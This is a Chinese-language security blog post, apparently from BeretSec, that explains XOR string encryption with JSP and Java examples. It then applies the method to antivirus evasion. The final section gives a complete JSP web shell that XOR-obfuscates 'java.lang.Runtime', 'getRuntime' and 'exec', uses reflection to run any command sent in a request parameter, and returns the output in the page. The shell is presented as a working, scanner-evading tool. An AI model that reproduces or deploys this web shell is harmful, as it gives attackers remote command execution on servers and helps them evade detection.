异或加密是一种对每个字符执行位操作的加密方法。通过与一个密钥进行异或运算,明文会被加密,且加密后的文本可以通过相同的密钥再次进行异或解密。
一、加密与解密示例:
<%! public static String xorEncryptDecrypt(String text, char key) {StringBuilder result = new StringBuilder();for (int i = 0; i < text.length(); i++) {char c = (char) (text.charAt(i) ^ key); // 执行异或运算result.append(c); // 将结果添加到 StringBuilder}return result.toString();}
%>
二、使用示例:
<%String originalText = "Hello World!";char key = 'K'; // 选择一个密钥String encryptedText = xorEncryptDecrypt(originalText, key);String decryptedText = xorEncryptDecrypt(encryptedText, key); // 再次使用相同的密钥解密out.println("Original Text: " + originalText);out.println("Encrypted Text: " + encryptedText);out.println("Decrypted Text: " + decryptedText);
%>
三、解释:
异或加密的优点
是简单且对称:加密和解密使用相同的密钥。
异或加密的弱点
是密钥长度固定,因此当密钥较短时,容易被暴力破解。增加密钥长度或多次异或可以提高安全性。
四、免杀实践
public static String xorEncryptDecrypt(String text, char key) {StringBuilder result = new StringBuilder();for (int i = 0; i < text.length(); i++) {char c = (char) (text.charAt(i) ^ key); // 执行异或运算result.append(c); // 将结果添加到 StringBuilder}return result.toString();}public static void main(String[] args) throws NoSuchMethodException {String a = "java.lang.Runtime";String b = "getRuntime";String c = "exec";char k = 'A';String encryptedText = xorEncryptDecrypt(a, k); // 再次使用相同的密钥解密String decryptedText = xorEncryptDecrypt(encryptedText, k); // 再次使用相同的密钥解密System.out.println("Encrypted Text: " + encryptedText);System.out.println("Decrypted Text: " + decryptedText);String encryptedText2 = xorEncryptDecrypt(b, k); // 再次使用相同的密钥解密String decryptedText2 = xorEncryptDecrypt(encryptedText2, k); // 再次使用相同的密钥解密System.out.println("Encrypted Text: " + encryptedText2);System.out.println("Decrypted Text: " + decryptedText2);String encryptedText3 = xorEncryptDecrypt(c, k); // 再次使用相同的密钥解密String decryptedText3 = xorEncryptDecrypt(encryptedText3, k); // 再次使用相同的密钥解密System.out.println("Encrypted Text: " + encryptedText3);System.out.println("Decrypted Text: " + decryptedText3);}
使用异或对关键字符串进行加密,执行成功
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Method" %>
<%!public static String xorEncryptDecrypt(String text, char key) {StringBuilder result = new StringBuilder();for (int i = 0; i < text.length(); i++) {char c = (char) (text.charAt(i) ^ key); // 执行异或运算result.append(c); // 将结果添加到 StringBuilder}return result.toString();}
%><%String test = request.getParameter("test");if (test != null) {// 利用反射构造类名和方法名String a = "+ 7 o- /&o\u00134/5(,$";String d = "&$5\u00134/5(,$";String h = "$9$\"";char k = 'A';String aa = xorEncryptDecrypt(a,k);String bb = xorEncryptDecrypt(d,k);String cc = xorEncryptDecrypt(h,k);out.println(aa);out.println(bb);out.println(cc);Class<?> r = Class.forName(aa);Method g = r.getDeclaredMethod(bb);Method e = r.getDeclaredMethod(cc, String.class);Runtime runtime = (Runtime) g.invoke(null);Process process = (Process) e.invoke(runtime, test);java.io.InputStream in = process.getInputStream();int z = -1;byte[] b = new byte[2048];out.print("<pre>");while ((z = in.read(b)) != -1) {out.println(new String(b));}out.print("</pre>");}%>
原创 BeretSec 贝雷帽SEC